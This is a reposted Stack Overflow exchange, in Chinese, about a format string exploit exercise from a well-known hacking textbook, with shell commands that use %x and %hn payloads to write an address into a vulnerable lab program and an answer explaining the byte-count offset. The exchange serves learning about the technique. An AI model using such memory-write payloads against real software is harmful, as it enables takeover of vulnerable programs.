gpt4 book ai didi

c - 使用短写入格式化字符串 : 4 bytes off

转载 作者:塔克拉玛干 更新时间:2023-11-03 00:53:27 25 4
gpt4 key购买 nike

在 Jon Erickson 的书 Hacking: The Art of Exploitation 中,他想将 0xbffffd72 写入存在于 0x08049794 的某个值。所以他去了……

./fmt_vuln $(printf "\94\x97\x04\x08"%x%x%x%hn

...

test_val @ x08049794 = -65515 0xffff0015

15 是到目前为止写入的字节数。

然后他从第一个短的 0xfd72 中减去 8,得到 64874。为什么他减去 8 而不是 15 或其他数字?

然后他从 0x1bfff 中减去 0xfd72 得到 49805。

然后他做了

./fmt_vuln $(printf "\94\x97\x04\x08\96\x97\x04\x08")%64874x%4\$hn%49805x%5\$hn

然后他得到了0xbffffd72的正确结果。

但是当我这样做的时候

./fmt_vuln $(printf "\94\x97\x04\x08")%64874x%4\$hn

我得到了 0xfffffd6e。我不知道为什么我得到的是 fd6e 而不是 fd72。

最佳答案

万一有人遇到同样的问题,64874 的值是计算得到地址的前两个字节的值。所以它是 0xfd72 - 8 = 64874。他减去 8,因为通过 printf 命令写入的地址有四个字节。当我尝试通过 printf 仅打印四个字节来运行相同的东西时,它会关闭四个字节,因为写入的字节少了四个。

关于c - 使用短写入格式化字符串 : 4 bytes off,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28869093/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com